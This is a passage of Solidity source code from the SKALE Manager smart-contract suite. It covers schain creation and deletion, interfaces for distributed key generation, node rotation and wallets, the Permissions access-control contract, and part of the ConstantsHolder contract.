ISchainsInternal schainsInternal
)
private
{
uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainHash, numberOfNodes, partOfNode);
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash);
emit SchainNodes(
schainName,
schainHash,
nodesInGroup);
}
/**
* @dev Creates an schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type must be valid.
*/
function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private {
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
require(!schainParameters.originator.isContract(), "Originator address must be not a contract");
if (from.isContract()) {
require(schainParameters.originator != address(0), "Originator address is not provided");
} else {
schainParameters.originator = address(0);
}
//initialize Schain
_initializeSchainInSchainsInternal(
schainParameters.name,
from,
schainParameters.originator,
deposit,
schainParameters.lifetime,
schainsInternal,
schainParameters.options
);
// create a group for Schain
uint numberOfNodes;
uint8 partOfNode;
(partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain);
_createGroupForSchain(
schainParameters.name,
keccak256(abi.encodePacked(schainParameters.name)),
numberOfNodes,
partOfNode,
schainsInternal
);
emit SchainCreated(
schainParameters.name,
from,
partOfNode,
schainParameters.lifetime,
numberOfNodes,
deposit,
schainParameters.nonce,
keccak256(abi.encodePacked(schainParameters.name)));
}
function _deleteSchain(string calldata name, ISchainsInternal schainsInternal) private {
INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(schainsInternal.isSchainExist(schainHash), "Schain does not exist");
_deleteOptions(schainHash, schainsInternal);
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainHash);
for (uint i = 0; i < nodesInGroup.length; i++) {
if (schainsInternal.checkHoleForSchain(schainHash, i)) {
continue;
}
require(
schainsInternal.checkSchainOnNode(nodesInGroup[i], schainHash),
"Some Node does not contain given Schain"
);
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainHash);
schainsInternal.removeNodeFromExceptions(schainHash, nodesInGroup[i]);
}
schainsInternal.removeAllNodesFromSchainExceptions(schainHash);
schainsInternal.deleteGroup(schainHash);
address from = schainsInternal.getSchainOwner(schainHash);
schainsInternal.removeHolesForSchain(schainHash);
nodeRotation.removeRotation(schainHash);
schainsInternal.removeSchain(schainHash, from);
IWallets(
payable(contractManager.getContract("Wallets"))
).withdrawFundsFromSchainWallet(payable(from), schainHash);
emit SchainDeleted(from, name, schainHash);
}
function _setOption(
bytes32 schainHash,
SchainOption memory option
)
private
{
bytes32 optionHash = keccak256(abi.encodePacked(option.name));
_options[schainHash][optionHash] = option;
require(_optionsIndex[schainHash].add(optionHash), "The option has been set already");
}
function _deleteOptions(
bytes32 schainHash,
ISchainsInternal schainsInternal
)
private
schainExists(schainsInternal, schainHash)
{
while (_optionsIndex[schainHash].length() > 0) {
bytes32 optionHash = _optionsIndex[schainHash].at(0);
delete _options[schainHash][optionHash];
require(_optionsIndex[schainHash].remove(optionHash), "Removing error");
}
}
function _getOption(
bytes32 schainHash,
bytes32 optionHash,
ISchainsInternal schainsInternal
)
private
view
schainExists(schainsInternal, schainHash)
returns (bytes memory)
{
require(_optionsIndex[schainHash].contains(optionHash), "Option is not set");
return _options[schainHash][optionHash].value;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchains.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchains {
struct SchainOption {
string name;
bytes value;
}
/**
* @dev Emitted when an schain is created.
*/
event SchainCreated(
string name,
address owner,
uint partOfNode,
uint lifetime,
uint numberOfNodes,
uint deposit,
uint16 nonce,
bytes32 schainHash
);
/**
* @dev Emitted when an schain is deleted.
*/
event SchainDeleted(
address owner,
string name,
bytes32 indexed schainHash
);
/**
* @dev Emitted when a node in an schain is rotated.
*/
event NodeRotated(
bytes32 schainHash,
uint oldNode,
uint newNode
);
/**
* @dev Emitted when a node is added to an schain.
*/
event NodeAdded(
bytes32 schainHash,
uint newNode
);
/**
* @dev Emitted when a group of nodes is created for an schain.
*/
event SchainNodes(
string name,
bytes32 schainHash,
uint[] nodesInGroup
);
function addSchain(address from, uint deposit, bytes calldata data) external;
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner,
address schainOriginator,
SchainOption[] calldata options
)
external
payable;
function deleteSchain(address from, string calldata name) external;
function deleteSchainByRoot(string calldata name) external;
function restartSchainCreation(string calldata name) external;
function verifySchainSignature(
uint256 signA,
uint256 signB,
bytes32 hash,
uint256 counter,
uint256 hashA,
uint256 hashB,
string calldata schainName
)
external
view
returns (bool);
function getSchainPrice(uint typeOfSchain, uint lifetime) external view returns (uint);
function getOption(bytes32 schainHash, string calldata optionName) external view returns (bytes memory);
function getOptions(bytes32 schainHash) external view returns (SchainOption[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleVerifier.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
import "./ISkaleDKG.sol";
interface ISkaleVerifier {
function verify(
ISkaleDKG.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
ISkaleDKG.G2Point calldata publicKey
)
external
view
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleDKG.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISkaleDKG {
struct Fp2Point {
uint a;
uint b;
}
struct G2Point {
Fp2Point x;
Fp2Point y;
}
struct Channel {
bool active;
uint n;
uint startedBlockTimestamp;
uint startedBlock;
}
struct ProcessDKG {
uint numberOfBroadcasted;
uint numberOfCompleted;
bool[] broadcasted;
bool[] completed;
}
struct ComplaintData {
uint nodeToComplaint;
uint fromNodeToComplaint;
uint startComplaintBlockTimestamp;
bool isResponse;
bytes32 keyShare;
G2Point sumOfVerVec;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
/**
* @dev Emitted when a channel is opened.
*/
event ChannelOpened(bytes32 schainHash);
/**
* @dev Emitted when a channel is closed.
*/
event ChannelClosed(bytes32 schainHash);
/**
* @dev Emitted when a node broadcasts key share.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainHash,
uint indexed fromNode,
G2Point[] verificationVector,
KeyShare[] secretKeyContribution
);
/**
* @dev Emitted when all group data is received by node.
*/
event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex);
/**
* @dev Emitted when DKG is successful.
*/
event SuccessfulDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a complaint against a node is verified.
*/
event BadGuy(uint nodeIndex);
/**
* @dev Emitted when DKG failed.
*/
event FailedDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a new node is rotated in.
*/
event NewGuy(uint nodeIndex);
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex);
function alright(bytes32 schainHash, uint fromNodeIndex) external;
function broadcast(
bytes32 schainHash,
uint nodeIndex,
G2Point[] memory verificationVector,
KeyShare[] memory secretKeyContribution
)
external;
function complaintBadData(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external;
function preResponse(
bytes32 schainId,
uint fromNodeIndex,
G2Point[] memory verificationVector,
G2Point[] memory verificationVectorMultiplication,
KeyShare[] memory secretKeyContribution
)
external;
function complaint(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external;
function response(
bytes32 schainHash,
uint fromNodeIndex,
uint secretNumber,
G2Point memory multipliedShare
)
external;
function openChannel(bytes32 schainHash) external;
function deleteChannel(bytes32 schainHash) external;
function setStartAlrightTimestamp(bytes32 schainHash) external;
function setBadNode(bytes32 schainHash, uint nodeIndex) external;
function finalizeSlashing(bytes32 schainHash, uint badNode) external;
function getChannelStartedTime(bytes32 schainHash) external view returns (uint);
function getChannelStartedBlock(bytes32 schainHash) external view returns (uint);
function getNumberOfBroadcasted(bytes32 schainHash) external view returns (uint);
function getNumberOfCompleted(bytes32 schainHash) external view returns (uint);
function getTimeOfLastSuccessfulDKG(bytes32 schainHash) external view returns (uint);
function getComplaintData(bytes32 schainHash) external view returns (uint, uint);
function getComplaintStartedTime(bytes32 schainHash) external view returns (uint);
function getAlrightStartedTime(bytes32 schainHash) external view returns (uint);
function isChannelOpened(bytes32 schainHash) external view returns (bool);
function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool);
function isBroadcastPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isComplaintPossible(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex
)
external
view
returns (bool);
function isAlrightPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isPreResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isNodeBroadcasted(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isAllDataReceived(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function checkAndReturnIndexInGroup(
bytes32 schainHash,
uint nodeIndex,
bool revertCheck
)
external
view
returns (uint, bool);
function isEveryoneBroadcasted(bytes32 schainHash) external view returns (bool);
function hashData(
KeyShare[] memory secretKeyContribution,
G2Point[] memory verificationVector
)
external
pure
returns (bytes32);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchainsInternal - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchainsInternal {
struct Schain {
string name;
address owner;
uint indexInOwnerList;
uint8 partOfNode;
uint lifetime;
uint startDate;
uint startBlock;
uint deposit;
uint64 index;
uint generation;
address originator;
}
struct SchainType {
uint8 partOfNode;
uint numberOfNodes;
}
/**
* @dev Emitted when schain type added.
*/
event SchainTypeAdded(uint indexed schainType, uint partOfNode, uint numberOfNodes);
/**
* @dev Emitted when schain type removed.
*/
event SchainTypeRemoved(uint indexed schainType);
function initializeSchain(
string calldata name,
address from,
address originator,
uint lifetime,
uint deposit) external;
function createGroupForSchain(
bytes32 schainHash,
uint numberOfNodes,
uint8 partOfNode
)
external
returns (uint[] memory);
function changeLifetime(bytes32 schainHash, uint lifetime, uint deposit) external;
function removeSchain(bytes32 schainHash, address from) external;
function removeNodeFromSchain(uint nodeIndex, bytes32 schainHash) external;
function deleteGroup(bytes32 schainHash) external;
function setException(bytes32 schainHash, uint nodeIndex) external;
function setNodeInGroup(bytes32 schainHash, uint nodeIndex) external;
function removeHolesForSchain(bytes32 schainHash) external;
function addSchainType(uint8 partOfNode, uint numberOfNodes) external;
function removeSchainType(uint typeOfSchain) external;
function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external;
function removeNodeFromAllExceptionSchains(uint nodeIndex) external;
function removeAllNodesFromSchainExceptions(bytes32 schainHash) external;
function makeSchainNodesInvisible(bytes32 schainHash) external;
function makeSchainNodesVisible(bytes32 schainHash) external;
function newGeneration() external;
function addSchainForNode(uint nodeIndex, bytes32 schainHash) external;
function removeSchainForNode(uint nodeIndex, uint schainIndex) external;
function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) external;
function isSchainActive(bytes32 schainHash) external view returns (bool);
function schainsAtSystem(uint index) external view returns (bytes32);
function numberOfSchains() external view returns (uint64);
function getSchains() external view returns (bytes32[] memory);
function getSchainsPartOfNode(bytes32 schainHash) external view returns (uint8);
function getSchainListSize(address from) external view returns (uint);
function getSchainHashesByAddress(address from) external view returns (bytes32[] memory);
function getSchainIdsByAddress(address from) external view returns (bytes32[] memory);
function getSchainHashesForNode(uint nodeIndex) external view returns (bytes32[] memory);
function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory);
function getSchainOwner(bytes32 schainHash) external view returns (address);
function getSchainOriginator(bytes32 schainHash) external view returns (address);
function isSchainNameAvailable(string calldata name) external view returns (bool);
function isTimeExpired(bytes32 schainHash) external view returns (bool);
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool);
function getSchainName(bytes32 schainHash) external view returns (string memory);
function getActiveSchain(uint nodeIndex) external view returns (bytes32);
function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains);
function getNumberOfNodesInGroup(bytes32 schainHash) external view returns (uint);
function getNodesInGroup(bytes32 schainHash) external view returns (uint[] memory);
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool);
function getNodeIndexInGroup(bytes32 schainHash, uint nodeId) external view returns (uint);
function isAnyFreeNode(bytes32 schainHash) external view returns (bool);
function checkException(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool);
function checkSchainOnNode(uint nodeIndex, bytes32 schainHash) external view returns (bool);
function getSchainType(uint typeOfSchain) external view returns(uint8, uint);
function getGeneration(bytes32 schainHash) external view returns (uint);
function isSchainExist(bytes32 schainHash) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IKeyStorage.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
import "./ISkaleDKG.sol";
interface IKeyStorage {
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
function deleteKey(bytes32 schainHash) external;
function initPublicKeyInProgress(bytes32 schainHash) external;
function adding(bytes32 schainHash, ISkaleDKG.G2Point memory value) external;
function finalizePublicKey(bytes32 schainHash) external;
function getCommonPublicKey(bytes32 schainHash) external view returns (ISkaleDKG.G2Point memory);
function getPreviousPublicKey(bytes32 schainHash) external view returns (ISkaleDKG.G2Point memory);
function getAllPreviousPublicKeys(bytes32 schainHash) external view returns (ISkaleDKG.G2Point[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
INodeRotation.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface INodeRotation {
/**
* nodeIndex - index of Node which is in process of rotation (left from schain)
* newNodeIndex - index of Node which is rotated(added to schain)
* freezeUntil - time till which Node should be turned on
* rotationCounter - how many _rotations were on this schain
*/
struct Rotation {
uint nodeIndex;
uint newNodeIndex;
uint freezeUntil;
uint rotationCounter;
}
struct LeavingHistory {
bytes32 schainHash;
uint finishedRotation;
}
function exitFromSchain(uint nodeIndex) external returns (bool, bool);
function freezeSchains(uint nodeIndex) external;
function removeRotation(bytes32 schainHash) external;
function skipRotationDelay(bytes32 schainHash) external;
function rotateNode(
uint nodeIndex,
bytes32 schainHash,
bool shouldDelay,
bool isBadNode
)
external
returns (uint newNode);
function selectNodeToGroup(bytes32 schainHash) external returns (uint nodeIndex);
function getRotation(bytes32 schainHash) external view returns (Rotation memory);
function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory);
function isRotationInProgress(bytes32 schainHash) external view returns (bool);
function isNewNodeFound(bytes32 schainHash) external view returns (bool);
function getPreviousNode(bytes32 schainHash, uint256 nodeIndex) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IWallets - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IWallets {
/**
* @dev Emitted when the validator wallet was funded
*/
event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId);
/**
* @dev Emitted when the schain wallet was funded
*/
event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainHash);
/**
* @dev Emitted when the node received a refund from validator to its wallet
*/
event NodeRefundedByValidator(address node, uint validatorId, uint amount);
/**
* @dev Emitted when the node received a refund from schain to its wallet
*/
event NodeRefundedBySchain(address node, bytes32 schainHash, uint amount);
/**
* @dev Emitted when the validator withdrawn funds from validator wallet
*/
event WithdrawFromValidatorWallet(uint indexed validatorId, uint amount);
/**
* @dev Emitted when the schain owner withdrawn funds from schain wallet
*/
event WithdrawFromSchainWallet(bytes32 indexed schainHash, uint amount);
receive() external payable;
function refundGasByValidator(uint validatorId, address payable spender, uint spentGas) external;
function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external;
function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external;
function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external;
function withdrawFundsFromValidatorWallet(uint amount) external;
function rechargeValidatorWallet(uint validatorId) external payable;
function rechargeSchainWallet(bytes32 schainId) external payable;
function getSchainBalance(bytes32 schainHash) external view returns (uint);
function getValidatorBalance(uint validatorId) external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Permissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/IContractManager.sol";
import "@skalenetwork/skale-manager-interfaces/IPermissions.sol";
import "./thirdparty/openzeppelin/AccessControlUpgradeableLegacy.sol";
/**
* @title Permissions
* @dev Contract is connected module for Upgradeable approach, knows ContractManager
*/
contract Permissions is AccessControlUpgradeableLegacy, IPermissions {
using AddressUpgradeable for address;
IContractManager public contractManager;
/**
* @dev Modifier to make a function callable only when caller is the Owner.
*
* Requirements:
*
* - The caller must be the owner.
*/
modifier onlyOwner() {
require(_isOwner(), "Caller is not the owner");
_;
}
/**
* @dev Modifier to make a function callable only when caller is an Admin.
*
* Requirements:
*
* - The caller must be an admin.
*/
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "Caller is not an admin");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName` contract.
*
* Requirements:
*
* - The caller must be the owner or `contractName`.
*/
modifier allow(string memory contractName) {
require(
contractManager.getContract(contractName) == msg.sender || _isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1` or `contractName2` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, or `contractName2`.
*/
modifier allowTwo(string memory contractName1, string memory contractName2) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1`, `contractName2`, or `contractName3` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, `contractName2`, or
* `contractName3`.
*/
modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
contractManager.getContract(contractName3) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
function initialize(address contractManagerAddress) public virtual override initializer {
AccessControlUpgradeableLegacy.__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setContractManager(contractManagerAddress);
}
function _isOwner() internal view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function _isAdmin(address account) internal view returns (bool) {
address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager")));
if (skaleManagerAddress != address(0)) {
AccessControlUpgradeableLegacy skaleManager = AccessControlUpgradeableLegacy(skaleManagerAddress);
return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner();
} else {
return _isOwner();
}
}
function _setContractManager(address contractManagerAddress) private {
require(contractManagerAddress != address(0), "ContractManager address is not set");
require(contractManagerAddress.isContract(), "Address is not contract");
contractManager = IContractManager(contractManagerAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ConstantsHolder.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/IConstantsHolder.sol";
import "./Permissions.sol";
/**
* @title ConstantsHolder
* @dev Contract contains constants and common variables for the SKALE Network.
*/
contract ConstantsHolder is Permissions, IConstantsHolder {
// initial price for creating Node (100 SKL)
uint public constant NODE_DEPOSIT = 100 * 1e18;
uint8 public constant TOTAL_SPACE_ON_NODE = 128;
// part of Node for Small Skale-chain (1/128 of Node)
uint8 public constant SMALL_DIVISOR = 128;
// part of Node for Medium Skale-chain (1/32 of Node)
uint8 public constant MEDIUM_DIVISOR = 32;
// part of Node for Large Skale-chain (full Node)
uint8 public constant LARGE_DIVISOR = 1;
// part of Node for Medium Test Skale-chain (1/4 of Node)
uint8 public constant MEDIUM_TEST_DIVISOR = 4;
// typically number of Nodes for Skale-chain (16 Nodes)
uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16;
// number of Nodes for Test Skale-chain (2 Nodes)
uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2;
// number of Nodes for Test Skale-chain (4 Nodes)
uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4;
// number of seconds in one year
uint32 public constant SECONDS_TO_YEAR = 31622400;
// initial number of monitors
uint public constant NUMBER_OF_MONITORS = 24;
uint public constant OPTIMAL_LOAD_PERCENTAGE = 80;
uint public constant ADJUSTMENT_SPEED = 1000;
uint public constant COOLDOWN_TIME = 60;
uint public constant MIN_PRICE = 10**6;
uint public constant MSR_REDUCING_COEFFICIENT = 2;
uint public constant DOWNTIME_THRESHOLD_PART = 30;
uint public constant BOUNTY_LOCKUP_MONTHS = 2;
uint public constant ALRIGHT_DELTA = 134161;
uint public constant BROADCAST_DELTA = 177490;
uint public constant COMPLAINT_BAD_DATA_DELTA = 80995;
uint public constant PRE_RESPONSE_DELTA = 100061;
uint public constant COMPLAINT_DELTA = 104611;
uint public constant RESPONSE_DELTA = 49132;
// MSR - Minimum staking requirement
uint public msr;
// Reward period - 30 days (each 30 days Node would be granted for bounty)
uint32 public rewardPeriod;
// Allowable latency - 150000 ms by default
uint32 public allowableLatency;
/**
* Delta period - 1 hour (1 hour before Reward period became Monitors need
* to send Verdicts and 1 hour after Reward period became Node need to come
* and get Bounty)
*/
uint32 public deltaPeriod;
/**
* Check time - 2 minutes (every 2 minutes monitors should check metrics
* from checked nodes)
*/
uint public checkTime;
//Need to add minimal allowed parameters for verdicts
uint public launchTimestamp;
uint public rotationDelay;
uint public proofOfUseLockUpPeriodDays;
uint public proofOfUseDelegationPercentage;
uint public limitValidatorsPerDelegator;
uint256 public firstDelegationsMonth; // deprecated
// date when schains will be allowed for creation
uint public schainCreationTimeStamp;
uint public minimalSchainLifetime;
uint public complaintTimeLimit;
bytes32 public constant CONSTANTS_HOLDER_MANAGER_ROLE = keccak256("CONSTANTS_HOLDER_MANAGER_ROLE");
modifier onlyConstantsHolderManager() {
require(hasRole(CONSTANTS_HOLDER_MANAGER_ROLE, msg.sender), "CONSTANTS_HOLDER_MANAGER_ROLE is required");
_;
}
/**
* @dev Allows the Owner to set new reward and delta periods
* This function is only for tests.
*/
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external override onlyConstantsHolderManager {
require(
newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime,
"Incorrect Periods"
);
emit ConstantUpdated(
keccak256(abi.encodePacked("RewardPeriod")),
uint(rewardPeriod),
uint(newRewardPeriod)
);
rewardPeriod = newRewardPeriod;
emit ConstantUpdated(
keccak256(abi.encodePacked("DeltaPeriod")),
uint(deltaPeriod),
uint(newDeltaPeriod)
);
deltaPeriod = newDeltaPeriod;
}
/**
* @dev Allows the Owner to set the new check time.
* This function is only for tests.
*/
function setCheckTime(uint newCheckTime) external override onlyConstantsHolderManager {
require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time");
emit ConstantUpdated(
keccak256(abi.encodePacked("CheckTime")),
uint(checkTime),
uint(newCheckTime)
);
checkTime = newCheckTime;
}
/**
* @dev Allows the Owner to set the allowable latency in milliseconds.
* This function is only for testing purposes.
*/
function setLatency(uint32 newAllowableLatency) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("AllowableLatency")),
uint(allowableLatency),
uint(newAllowableLatency)
);
allowableLatency = newAllowableLatency;
}
/**
* @dev Allows the Owner to set the minimum stake requirement.
*/
function setMSR(uint newMSR) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("MSR")),
uint(msr),
uint(newMSR)
);
msr = newMSR;
}
/**
* @dev Allows the Owner to set the launch timestamp.
*/
function setLaunchTimestamp(uint timestamp) external override onlyConstantsHolderManager {
require(
block.timestamp < launchTimestamp,
"Cannot set network launch timestamp because network is already launched"
);
emit ConstantUpdated(
keccak256(abi.encodePacked("LaunchTimestamp")),
uint(launchTimestamp),
uint(timestamp)
);
launchTimestamp = timestamp;
}
/**
* @dev Allows the Owner to set the node rotation delay.
*/
function setRotationDelay(uint newDelay) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("RotationDelay")),
uint(rotationDelay),
uint(newDelay)
);
rotationDelay = newDelay;
}
/**
* @dev Allows the Owner to set the proof-of-use lockup period.
*/
function setProofOfUseLockUpPeriod(uint periodDays) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("ProofOfUseLockUpPeriodDays")),
uint(proofOfUseLockUpPeriodDays),
uint(periodDays)
);
proofOfUseLockUpPeriodDays = periodDays;
}
/**
* @dev Allows the Owner to set the proof-of-use delegation percentage
